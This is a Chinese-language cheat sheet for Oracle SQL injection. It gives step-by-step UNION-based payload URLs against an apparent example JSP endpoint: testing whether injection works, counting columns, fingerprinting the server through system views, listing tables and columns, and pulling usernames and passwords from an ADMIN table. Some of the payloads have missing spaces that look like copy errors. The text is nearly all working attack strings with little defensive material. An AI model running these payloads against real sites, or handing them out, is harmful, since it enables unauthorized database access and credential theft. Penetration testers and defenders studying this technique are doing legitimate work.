1、注释符号

-- 空格 单行注释
/* */ 多行注释

2、判断是否注入

and 1=1 --
and 1=2 --

3、列数

order by

http://www.jsporcle.com/a.jsp?username=SMITH'order by 8 –

4、联合查询

因为oracle 对列的类型比较严谨 所以 要用null 可以匹配任意类型


Oracle中的dual表是一个单行单列的虚拟表


Dual 是 Oracle中的一个实际存在的表，任何用户均可读取。


所以可以通过这个dual表 来显示列数。

http://www.jsporcle.com/a.jsp?username=SMITH%27union select null,null,null,null,null,null,null,null from dual --

5、获取Oracle信息

oracle 版本信息

http://www.jsporcle.com/a.jsp?username=SMITH’union select null,null,(select banner from sys.v_$version whererownum=1),null,null,null,null,null from dual –

1 当前用户权限（select * from session_roles）
2 当前数据库版本（ select banner from sys.v_$version whererownum=1）
3 服务器出口IP (用utl_http.request 可以实现)
4 服务器监听IP (select utl_inaddr.get_host_address from dual)
5 服务器操作系统（select member from v$logfile where rownum=1）
6 服务器sid (select instance_name from v$instance)
7 当前连接用户(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)
6当前用户(SELECT user FROM dual)

6、查询库名

http://www.jsporcle.com/a.jsp?username=99%27union select null,null,(select owner from all_tables whererownum=1),null,null,null,null,null from dual --

http://www.jsporcle.com/a.jsp?username=99%27union select null,null,(select owner from all_tables where rownum=1 and owner<>'SYS' ),null,null,null,null,null from dual --

7、查询表

表 一定要是大写的
查询第一个表

http://www.jsporcle.com/a.jsp?username=SMITH'union select null,null,(select table_name from user_tables whererownum=1),null,null,null,null,null from dual  --

查询第二个表

http://www.jsporcle.com/a.jsp?username=SMITH'union select null,null,(select table_name from user_tables where rownum=1 andtable_name<>'ADMIN'),null,null,null,null,null from dual --

8、查询列


查询 表 ADMIN第一个列

http://www.jsporcle.com/a.jsp?username=SMITH'union select null,(select column_name from user_tab_columns wheretable_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual --

第二个列

http://www.jsporcle.com/a.jsp?username=SMITH' union selectnull,(select column_name from user_tab_columns where table_name='ADMIN' andcolumn_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --

查询表ADMIN 第三个列

http://www.jsporcle.com/a.jsp?username=SMITH' union selectnull,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID'and column_name<>'USERNAME' and rownum=1),null,null,null,null,null,nullfrom dual --

ID USERNAMEPASSWORD

9、查询数据

http://www.jsporcle.com/a.jsp?username=SMITH' union select null,(SELECTCONCAT(USERNAME,PASSWORD) FROM ADMIN),null,null,null,null,null,null from dual --

10、扩展

当前用户：
SELECT user FROM dual;
列出所有用户：
SELECT username FROM all_users ORDER BYusername;
列出数据库
SELECT DISTINCT owner FROM all_tables;

列出表名：
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
查询表所有列

SELECT column_name FROM all_tab_columns WHERETABLE_NAME='ADMIN';
定位文件
SELECT name FROM V$DATAFILE;